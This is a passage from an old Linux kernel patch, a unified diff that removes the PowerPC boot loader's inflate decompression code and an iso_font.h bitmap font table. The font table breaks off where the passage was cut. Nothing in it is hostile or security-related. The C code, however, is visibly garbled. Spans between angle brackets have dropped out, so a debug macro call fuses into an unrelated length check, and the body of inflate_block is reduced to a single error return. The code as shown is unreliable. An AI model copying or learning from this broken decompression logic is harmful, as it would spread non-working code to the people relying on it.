-#endif - register ulg b; /* bit buffer */ - register unsigned k; /* number of bits in bit buffer */ - -DEBG(" 288 || nd > 32) -#else - if (nl > 286 || nd > 30) -#endif - return 1; /* bad lengths */ - -DEBG("dyn1 "); - - /* read in bit-length-code lengths */ - for (j = 0; j < nb; j++) - { - NEEDBITS(3) - ll[border[j]] = (unsigned)b & 7; - DUMPBITS(3) - } - for (; j < 19; j++) - ll[border[j]] = 0; - -DEBG("dyn2 "); - - /* build decoding table for trees--single level, 7 bit lookup */ - bl = 7; - if ((i = huft_build(ll, 19, 19, NULL, NULL, &tl, &bl)) != 0) - { - if (i == 1) - huft_free(tl); - return i; /* incomplete code set */ - } - -DEBG("dyn3 "); - - /* read in literal and distance code lengths */ - n = nl + nd; - m = mask_bits[bl]; - i = l = 0; - while ((unsigned)i < n) - { - NEEDBITS((unsigned)bl) - j = (td = tl + ((unsigned)b & m))->b; - DUMPBITS(j) - j = td->v.n; - if (j < 16) /* length of code in bits (0..15) */ - ll[i++] = l = j; /* save last length in l */ - else if (j == 16) /* repeat last length 3 to 6 times */ - { - NEEDBITS(2) - j = 3 + ((unsigned)b & 3); - DUMPBITS(2) - if ((unsigned)i + j > n) - return 1; - while (j--) - ll[i++] = l; - } - else if (j == 17) /* 3 to 10 zero length codes */ - { - NEEDBITS(3) - j = 3 + ((unsigned)b & 7); - DUMPBITS(3) - if ((unsigned)i + j > n) - return 1; - while (j--) - ll[i++] = 0; - l = 0; - } - else /* j == 18: 11 to 138 zero length codes */ - { - NEEDBITS(7) - j = 11 + ((unsigned)b & 0x7f); - DUMPBITS(7) - if ((unsigned)i + j > n) - return 1; - while (j--) - ll[i++] = 0; - l = 0; - } - } - -DEBG("dyn4 "); - - /* free decoding table for trees */ - huft_free(tl); - -DEBG("dyn5 "); - - /* restore the global bit buffer */ - bb = b; - bk = k; - -DEBG("dyn5a "); - - /* build the decoding tables for literal/length and distance codes */ - bl = lbits; - if ((i = huft_build(ll, nl, 257, cplens, cplext, &tl, &bl)) != 0) - { -DEBG("dyn5b "); - if (i == 1) { - error(" incomplete literal tree\n"); - huft_free(tl); - } - return i; /* incomplete code set */ - } -DEBG("dyn5c "); - bd = dbits; - if ((i = huft_build(ll + nl, nd, 0, cpdist, cpdext, &td, &bd)) != 0) - { -DEBG("dyn5d "); - if (i == 1) { - error(" incomplete distance tree\n"); -#ifdef PKZIP_BUG_WORKAROUND - i = 0; - } -#else - huft_free(td); - } - huft_free(tl); - return i; /* incomplete code set */ -#endif - } - -DEBG("dyn6 "); - - /* decompress until an end-of-block code */ - if (inflate_codes(tl, td, bl, bd)) - return 1; - -DEBG("dyn7 "); - - /* free the decoding tables, return */ - huft_free(tl); - huft_free(td); - - DEBG(">"); - return 0; -} - - - -int inflate_block(e) -int *e; /* last block flag */ -/* decompress an inflated block */ -{ - unsigned t; /* block type */ - register ulg b; /* bit buffer */ - register unsigned k; /* number of bits in bit buffer */ - - DEBG(""); - - /* bad block type */ - return 2; -} - - - -int inflate() -/* decompress an inflated entry */ -{ - int e; /* last block flag */ - int r; /* result code */ - unsigned h; /* maximum struct huft's malloc'ed */ - - - /* initialize window, bit buffer */ - wp = 0; - bk = 0; - bb = 0; - - - /* decompress until the last block */ - h = 0; - do { - hufts = 0; - if ((r = inflate_block(&e)) != 0) - return r; - if (hufts > h) - h = hufts; - } while (!e); - - /* Undo too much lookahead. The next read will be byte aligned so we - * can discard unused bits in the last meaningful byte. - */ - while (bk >= 8) { - bk -= 8; - inptr--; - } - - /* flush out slide */ - flush_output(wp); - - - /* return success */ -#ifdef DEBUG - fprintf(stderr, "<%u> ", h); -#endif /* DEBUG */ - return 0; -} diff -u --recursive --new-file linux-2.1.29/arch/ppc/boot/iso_font.h linux/arch/ppc/boot/iso_font.h --- linux-2.1.29/arch/ppc/boot/iso_font.h Sat May 10 18:16:36 1997 +++ linux/arch/ppc/boot/iso_font.h Wed Dec 31 19:00:00 1969 @@ -1,257 +0,0 @@ -static const unsigned char font[] = { -/* 0x00 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x01 */ 0x00,0x00,0x7E,0x81,0xA5,0x81,0x81,0xBD,0x99,0x81,0x81,0x7E,0x00,0x00,0x00,0x00, -/* 0x02 */ 0x00,0x00,0x7E,0xFF,0xDB,0xFF,0xFF,0xC3,0xC3,0xE7,0xFF,0x7E,0x00,0x00,0x00,0x00, -/* 0x03 */ 0x00,0x00,0x00,0x00,0x6C,0xFE,0xFE,0xFE,0xFE,0x7C,0x38,0x10,0x00,0x00,0x00,0x00, -/* 0x04 */ 0x00,0x00,0x00,0x00,0x10,0x38,0x7C,0xFE,0x7C,0x38,0x10,0x00,0x00,0x00,0x00,0x00, -/* 0x05 */ 0x00,0x00,0x00,0x18,0x3C,0x3C,0xE7,0xE7,0xE7,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x06 */ 0x00,0x00,0x00,0x18,0x3C,0x7E,0xFF,0xFF,0x7E,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x07 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x3C,0x3C,0x18,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x08 */ 0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xE7,0xC3,0xC3,0xE7,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF, -/* 0x09 */ 0x00,0x00,0x00,0x00,0x00,0x3C,0x66,0x42,0x42,0x66,0x3C,0x00,0x00,0x00,0x00,0x00, -/* 0x0A */ 0xFF,0xFF,0xFF,0xFF,0xFF,0xC3,0x99,0xBD,0xBD,0x99,0xC3,0xFF,0xFF,0xFF,0xFF,0xFF, -/* 0x0B */ 0x00,0x00,0x3E,0x0E,0x1A,0x32,0x78,0xCC,0xCC,0xCC,0xCC,0x78,0x00,0x00,0x00,0x00, -/* 0x0C */ 0x00,0x00,0x3C,0x66,0x66,0x66,0x66,0x3C,0x18,0x7E,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x0D */ 0x00,0x00,0x30,0x38,0x3C,0x36,0x33,0x30,0x30,0x70,0xF0,0xE0,0x00,0x00,0x00,0x00, -/* 0x0E */ 0x00,0x00,0x7F,0x63,0x7F,0x63,0x63,0x63,0x63,0x67,0xE7,0xE6,0xC0,0x00,0x00,0x00, -/* 0x0F */ 0x00,0x00,0x00,0x18,0x18,0xDB,0x3C,0xE7,0x3C,0xDB,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x10 */ 0x00,0x80,0xC0,0xE0,0xF0,0xF8,0xFE,0xF8,0xF0,0xE0,0xC0,0x80,0x00,0x00,0x00,0x00, -/* 0x11 */ 0x00,0x02,0x06,0x0E,0x1E,0x3E,0xFE,0x3E,0x1E,0x0E,0x06,0x02,0x00,0x00,0x00,0x00, -/* 0x12 */ 0x00,0x00,0x18,0x3C,0x7E,0x18,0x18,0x18,0x7E,0x3C,0x18,0x00,0x00,0x00,0x00,0x00, -/* 0x13 */ 0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x66,0x66,0x00,0x00,0x00,0x00, -/* 0x14 */ 0x00,0x00,0x7F,0xDB,0xDB,0xDB,0x7B,0x1B,0x1B,0x1B,0x1B,0x1B,0x00,0x00,0x00,0x00, -/* 0x15 */ 0x00,0x7C,0xC6,0x60,0x38,0x6C,0xC6,0xC6,0x6C,0x38,0x0C,0xC6,0x7C,0x00,0x00,0x00, -/* 0x16 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0xFE,0xFE,0xFE,0x00,0x00,0x00,0x00, -/* 0x17 */ 0x00,0x00,0x18,0x3C,0x7E,0x18,0x18,0x18,0x7E,0x3C,0x18,0x7E,0x00,0x00,0x00,0x00, -/* 0x18 */ 0x00,0x00,0x18,0x3C,0x7E,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x19 */ 0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x7E,0x3C,0x18,0x00,0x00,0x00,0x00, -/* 0x1A */ 0x00,0x00,0x00,0x00,0x00,0x18,0x0C,0xFE,0x0C,0x18,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x1B */ 0x00,0x00,0x00,0x00,0x00,0x30,0x60,0xFE,0x60,0x30,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x1C */ 0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0xC0,0xC0,0xFE,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x1D */ 0x00,0x00,0x00,0x00,0x00,0x28,0x6C,0xFE,0x6C,0x28,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x1E */ 0x00,0x00,0x00,0x00,0x10,0x38,0x38,0x7C,0x7C,0xFE,0xFE,0x00,0x00,0x00,0x00,0x00, -/* 0x1F */ 0x00,0x00,0x00,0x00,0xFE,0xFE,0x7C,0x7C,0x38,0x38,0x10,0x00,0x00,0x00,0x00,0x00, -/* 0x20 */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x21 */ 0x00,0x00,0x18,0x3C,0x3C,0x3C,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x22 */ 0x00,0x66,0x66,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x23 */ 0x00,0x00,0x00,0x6C,0x6C,0xFE,0x6C,0x6C,0x6C,0xFE,0x6C,0x6C,0x00,0x00,0x00,0x00, -/* 0x24 */ 0x18,0x18,0x7C,0xC6,0xC2,0xC0,0x7C,0x06,0x06,0x86,0xC6,0x7C,0x18,0x18,0x00,0x00, -/* 0x25 */ 0x00,0x00,0x00,0x00,0xC2,0xC6,0x0C,0x18,0x30,0x60,0xC6,0x86,0x00,0x00,0x00,0x00, -/* 0x26 */ 0x00,0x00,0x38,0x6C,0x6C,0x38,0x76,0xDC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x27 */ 0x00,0x30,0x30,0x30,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x28 */ 0x00,0x00,0x0C,0x18,0x30,0x30,0x30,0x30,0x30,0x30,0x18,0x0C,0x00,0x00,0x00,0x00, -/* 0x29 */ 0x00,0x00,0x30,0x18,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x18,0x30,0x00,0x00,0x00,0x00, -/* 0x2A */ 0x00,0x00,0x00,0x00,0x00,0x66,0x3C,0xFF,0x3C,0x66,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x2B */ 0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x7E,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x2C */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x18,0x30,0x00,0x00,0x00, -/* 0x2D */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFE,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x2E */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x2F */ 0x00,0x00,0x00,0x00,0x02,0x06,0x0C,0x18,0x30,0x60,0xC0,0x80,0x00,0x00,0x00,0x00, -/* 0x30 */ 0x00,0x00,0x38,0x6C,0xC6,0xC6,0xD6,0xD6,0xC6,0xC6,0x6C,0x38,0x00,0x00,0x00,0x00, -/* 0x31 */ 0x00,0x00,0x18,0x38,0x78,0x18,0x18,0x18,0x18,0x18,0x18,0x7E,0x00,0x00,0x00,0x00, -/* 0x32 */ 0x00,0x00,0x7C,0xC6,0x06,0x0C,0x18,0x30,0x60,0xC0,0xC6,0xFE,0x00,0x00,0x00,0x00, -/* 0x33 */ 0x00,0x00,0x7C,0xC6,0x06,0x06,0x3C,0x06,0x06,0x06,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x34 */ 0x00,0x00,0x0C,0x1C,0x3C,0x6C,0xCC,0xFE,0x0C,0x0C,0x0C,0x1E,0x00,0x00,0x00,0x00, -/* 0x35 */ 0x00,0x00,0xFE,0xC0,0xC0,0xC0,0xFC,0x06,0x06,0x06,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x36 */ 0x00,0x00,0x38,0x60,0xC0,0xC0,0xFC,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x37 */ 0x00,0x00,0xFE,0xC6,0x06,0x06,0x0C,0x18,0x30,0x30,0x30,0x30,0x00,0x00,0x00,0x00, -/* 0x38 */ 0x00,0x00,0x7C,0xC6,0xC6,0xC6,0x7C,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x39 */ 0x00,0x00,0x7C,0xC6,0xC6,0xC6,0x7E,0x06,0x06,0x06,0x0C,0x78,0x00,0x00,0x00,0x00, -/* 0x3A */ 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, -/* 0x3B */ 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x30,0x00,0x00,0x00,0x00, -/* 0x3C */ 0x00,0x00,0x00,0x06,0x0C,0x18,0x30,0x60,0x30,0x18,0x0C,0x06,0x00,0x00,0x00,0x00, -/* 0x3D */ 0x00,0x00,0x00,0x00,0x00,0x7E,0x00,0x00,0x7E,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x3E */ 0x00,0x00,0x00,0x60,0x30,0x18,0x0C,0x06,0x0C,0x18,0x30,0x60,0x00,0x00,0x00,0x00, -/* 0x3F */ 0x00,0x00,0x7C,0xC6,0xC6,0x0C,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x40 */ 0x00,0x00,0x00,0x7C,0xC6,0xC6,0xDE,0xDE,0xDE,0xDC,0xC0,0x7C,0x00,0x00,0x00,0x00, -/* 0x41 */ 0x00,0x00,0x10,0x38,0x6C,0xC6,0xC6,0xFE,0xC6,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x42 */ 0x00,0x00,0xFC,0x66,0x66,0x66,0x7C,0x66,0x66,0x66,0x66,0xFC,0x00,0x00,0x00,0x00, -/* 0x43 */ 0x00,0x00,0x3C,0x66,0xC2,0xC0,0xC0,0xC0,0xC0,0xC2,0x66,0x3C,0x00,0x00,0x00,0x00, -/* 0x44 */ 0x00,0x00,0xF8,0x6C,0x66,0x66,0x66,0x66,0x66,0x66,0x6C,0xF8,0x00,0x00,0x00,0x00, -/* 0x45 */ 0x00,0x00,0xFE,0x66,0x62,0x68,0x78,0x68,0x60,0x62,0x66,0xFE,0x00,0x00,0x00,0x00, -/* 0x46 */ 0x00,0x00,0xFE,0x66,0x62,0x68,0x78,0x68,0x60,0x60,0x60,0xF0,0x00,0x00,0x00,0x00, -/* 0x47 */ 0x00,0x00,0x3C,0x66,0xC2,0xC0,0xC0,0xDE,0xC6,0xC6,0x66,0x3A,0x00,0x00,0x00,0x00, -/* 0x48 */ 0x00,0x00,0xC6,0xC6,0xC6,0xC6,0xFE,0xC6,0xC6,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x49 */ 0x00,0x00,0x3C,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x4A */ 0x00,0x00,0x1E,0x0C,0x0C,0x0C,0x0C,0x0C,0xCC,0xCC,0xCC,0x78,0x00,0x00,0x00,0x00, -/* 0x4B */ 0x00,0x00,0xE6,0x66,0x66,0x6C,0x78,0x78,0x6C,0x66,0x66,0xE6,0x00,0x00,0x00,0x00, -/* 0x4C */ 0x00,0x00,0xF0,0x60,0x60,0x60,0x60,0x60,0x60,0x62,0x66,0xFE,0x00,0x00,0x00,0x00, -/* 0x4D */ 0x00,0x00,0xC6,0xEE,0xFE,0xFE,0xD6,0xC6,0xC6,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x4E */ 0x00,0x00,0xC6,0xE6,0xF6,0xFE,0xDE,0xCE,0xC6,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x4F */ 0x00,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x50 */ 0x00,0x00,0xFC,0x66,0x66,0x66,0x7C,0x60,0x60,0x60,0x60,0xF0,0x00,0x00,0x00,0x00, -/* 0x51 */ 0x00,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xD6,0xDE,0x7C,0x0C,0x0E,0x00,0x00, -/* 0x52 */ 0x00,0x00,0xFC,0x66,0x66,0x66,0x7C,0x6C,0x66,0x66,0x66,0xE6,0x00,0x00,0x00,0x00, -/* 0x53 */ 0x00,0x00,0x7C,0xC6,0xC6,0x60,0x38,0x0C,0x06,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x54 */ 0x00,0x00,0x7E,0x7E,0x5A,0x18,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x55 */ 0x00,0x00,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x56 */ 0x00,0x00,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x6C,0x38,0x10,0x00,0x00,0x00,0x00, -/* 0x57 */ 0x00,0x00,0xC6,0xC6,0xC6,0xC6,0xD6,0xD6,0xD6,0xFE,0xEE,0x6C,0x00,0x00,0x00,0x00, -/* 0x58 */ 0x00,0x00,0xC6,0xC6,0x6C,0x7C,0x38,0x38,0x7C,0x6C,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x59 */ 0x00,0x00,0x66,0x66,0x66,0x66,0x3C,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x5A */ 0x00,0x00,0xFE,0xC6,0x86,0x0C,0x18,0x30,0x60,0xC2,0xC6,0xFE,0x00,0x00,0x00,0x00, -/* 0x5B */ 0x00,0x00,0x3C,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x3C,0x00,0x00,0x00,0x00, -/* 0x5C */ 0x00,0x00,0x00,0x80,0xC0,0xE0,0x70,0x38,0x1C,0x0E,0x06,0x02,0x00,0x00,0x00,0x00, -/* 0x5D */ 0x00,0x00,0x3C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x3C,0x00,0x00,0x00,0x00, -/* 0x5E */ 0x10,0x38,0x6C,0xC6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x5F */ 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00, -/* 0x60 */ 0x30,0x30,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x61 */ 0x00,0x00,0x00,0x00,0x00,0x78,0x0C,0x7C,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x62 */ 0x00,0x00,0xE0,0x60,0x60,0x78,0x6C,0x66,0x66,0x66,0x66,0x7C,0x00,0x00,0x00,0x00, -/* 0x63 */ 0x00,0x00,0x00,0x00,0x00,0x7C,0xC6,0xC0,0xC0,0xC0,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x64 */ 0x00,0x00,0x1C,0x0C,0x0C,0x3C,0x6C,0xCC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x65 */ 0x00,0x00,0x00,0x00,0x00,0x7C,0xC6,0xFE,0xC0,0xC0,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x66 */ 0x00,0x00,0x38,0x6C,0x64,0x60,0xF0,0x60,0x60,0x60,0x60,0xF0,0x00,0x00,0x00,0x00, -/* 0x67 */ 0x00,0x00,0x00,0x00,0x00,0x3E,0x66,0x66,0x66,0x66,0x66,0x3E,0x06,0x66,0x3C,0x00, -/* 0x68 */ 0x00,0x00,0xE0,0x60,0x60,0x6C,0x76,0x66,0x66,0x66,0x66,0xE6,0x00,0x00,0x00,0x00, -/* 0x69 */ 0x00,0x00,0x18,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x6A */ 0x00,0x00,0x06,0x06,0x00,0x0E,0x06,0x06,0x06,0x06,0x06,0x06,0x66,0x66,0x3C,0x00, -/* 0x6B */ 0x00,0x00,0xE0,0x60,0x60,0x66,0x6C,0x78,0x78,0x6C,0x66,0xE6,0x00,0x00,0x00,0x00, -/* 0x6C */ 0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x6D */ 0x00,0x00,0x00,0x00,0x00,0x6C,0xFE,0xD6,0xD6,0xD6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x6E */ 0x00,0x00,0x00,0x00,0x00,0xDC,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, -/* 0x6F */ 0x00,0x00,0x00,0x00,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x70 */ 0x00,0x00,0x00,0x00,0x00,0xFC,0x66,0x66,0x66,0x66,0x66,0x7C,0x60,0x60,0xF0,0x00, -/* 0x71 */ 0x00,0x00,0x00,0x00,0x00,0x7E,0xCC,0xCC,0xCC,0xCC,0xCC,0x7C,0x0C,0x0C,0x1E,0x00, -/* 0x72 */ 0x00,0x00,0x00,0x00,0x00,0xDC,0x76,0x66,0x60,0x60,0x60,0xF0,0x00,0x00,0x00,0x00, -/* 0x73 */ 0x00,0x00,0x00,0x00,0x00,0x7C,0xC6,0x60,0x38,0x0C,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x74 */ 0x00,0x00,0x10,0x30,0x30,0xFC,0x30,0x30,0x30,0x30,0x36,0x1C,0x00,0x00,0x00,0x00, -/* 0x75 */ 0x00,0x00,0x00,0x00,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x76 */ 0x00,0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x3C,0x18,0x00,0x00,0x00,0x00, -/* 0x77 */ 0x00,0x00,0x00,0x00,0x00,0xC6,0xC6,0xD6,0xD6,0xD6,0xFE,0x6C,0x00,0x00,0x00,0x00, -/* 0x78 */ 0x00,0x00,0x00,0x00,0x00,0xC6,0x6C,0x38,0x38,0x38,0x6C,0xC6,0x00,0x00,0x00,0x00, -/* 0x79 */ 0x00,0x00,0x00,0x00,0x00,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x7E,0x06,0x0C,0xF8,0x00, -/* 0x7A */ 0x00,0x00,0x00,0x00,0x00,0xFE,0xCC,0x18,0x30,0x60,0xC6,0xFE,0x00,0x00,0x00,0x00, -/* 0x7B */ 0x00,0x00,0x0E,0x18,0x18,0x18,0x70,0x18,0x18,0x18,0x18,0x0E,0x00,0x00,0x00,0x00, -/* 0x7C */ 0x00,0x00,0x18,0x18,0x18,0x18,0x00,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x7D */ 0x00,0x00,0x70,0x18,0x18,0x18,0x0E,0x18,0x18,0x18,0x18,0x70,0x00,0x00,0x00,0x00, -/* 0x7E */ 0x00,0x00,0x76,0xDC,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, -/* 0x7F */ 0x00,0x00,0x00,0x00,0x10,0x38,0x6C,0xC6,0xC6,0xC6,0xFE,0x00,0x00,0x00,0x00,0x00, -/* 0x80 */ 0x00,0x00,0x3C,0x66,0xC2,0xC0,0xC0,0xC0,0xC2,0x66,0x3C,0x0C,0x06,0x7C,0x00,0x00, -/* 0x81 */ 0x00,0x00,0xCC,0x00,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x82 */ 0x00,0x0C,0x18,0x30,0x00,0x7C,0xC6,0xC6,0xFE,0xC0,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x83 */ 0x00,0x10,0x38,0x6C,0x00,0x78,0x0C,0x7C,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x84 */ 0x00,0x00,0xCC,0x00,0x00,0x78,0x0C,0x7C,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x85 */ 0x00,0x60,0x30,0x18,0x00,0x78,0x0C,0x7C,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x86 */ 0x00,0x38,0x6C,0x38,0x00,0x78,0x0C,0x7C,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x87 */ 0x00,0x00,0x00,0x00,0x3C,0x66,0x60,0x60,0x66,0x3C,0x0C,0x06,0x3C,0x00,0x00,0x00, -/* 0x88 */ 0x00,0x10,0x38,0x6C,0x00,0x7C,0xC6,0xC6,0xFE,0xC0,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x89 */ 0x00,0x00,0xC6,0x00,0x00,0x7C,0xC6,0xC6,0xFE,0xC0,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x8A */ 0x00,0x60,0x30,0x18,0x00,0x7C,0xC6,0xC6,0xFE,0xC0,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x8B */ 0x00,0x00,0x66,0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x8C */ 0x00,0x18,0x3C,0x66,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x8D */ 0x00,0x60,0x30,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0x8E */ 0x00,0xC6,0x00,0x10,0x38,0x6C,0xC6,0xC6,0xFE,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x8F */ 0x38,0x6C,0x38,0x00,0x38,0x6C,0xC6,0xC6,0xFE,0xC6,0xC6,0xC6,0x00,0x00,0x00,0x00, -/* 0x90 */ 0x18,0x30,0x60,0x00,0xFE,0x66,0x60,0x7C,0x60,0x60,0x66,0xFE,0x00,0x00,0x00,0x00, -/* 0x91 */ 0x00,0x00,0x00,0x00,0x00,0xCC,0x76,0x36,0x7E,0xD8,0xD8,0x6E,0x00,0x00,0x00,0x00, -/* 0x92 */ 0x00,0x00,0x3E,0x6C,0xCC,0xCC,0xFE,0xCC,0xCC,0xCC,0xCC,0xCE,0x00,0x00,0x00,0x00, -/* 0x93 */ 0x00,0x10,0x38,0x6C,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x94 */ 0x00,0x00,0xC6,0x00,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x95 */ 0x00,0x60,0x30,0x18,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x96 */ 0x00,0x30,0x78,0xCC,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x97 */ 0x00,0x60,0x30,0x18,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0x98 */ 0x00,0x00,0xC6,0x00,0x00,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x7E,0x06,0x0C,0x78,0x00, -/* 0x99 */ 0x00,0xC6,0x00,0x7C,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x9A */ 0x00,0xC6,0x00,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0xC6,0x7C,0x00,0x00,0x00,0x00, -/* 0x9B */ 0x00,0x18,0x18,0x3C,0x66,0x60,0x60,0x60,0x66,0x3C,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x9C */ 0x00,0x38,0x6C,0x64,0x60,0xF8,0x60,0x60,0x60,0x60,0xE6,0xFC,0x00,0x00,0x00,0x00, -/* 0x9D */ 0x00,0x00,0x66,0x66,0x3C,0x18,0x7E,0x18,0x7E,0x18,0x18,0x18,0x00,0x00,0x00,0x00, -/* 0x9E */ 0x00,0xF8,0xCC,0xCC,0xF8,0xC4,0xCC,0xDE,0xCC,0xCC,0xCC,0xC6,0x00,0x00,0x00,0x00, -/* 0x9F */ 0x00,0x0E,0x1B,0x18,0x18,0x18,0x7E,0x18,0x18,0x18,0x18,0x18,0xD8,0x70,0x00,0x00, -/* 0xA0 */ 0x00,0x18,0x30,0x60,0x00,0x78,0x0C,0x7C,0xCC,0xCC,0xCC,0x76,0x00,0x00,0x00,0x00, -/* 0xA1 */ 0x00,0x0C,0x18,0x30,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3C,0x00,0x00,0x00,0x00, -/* 0xA2 */ 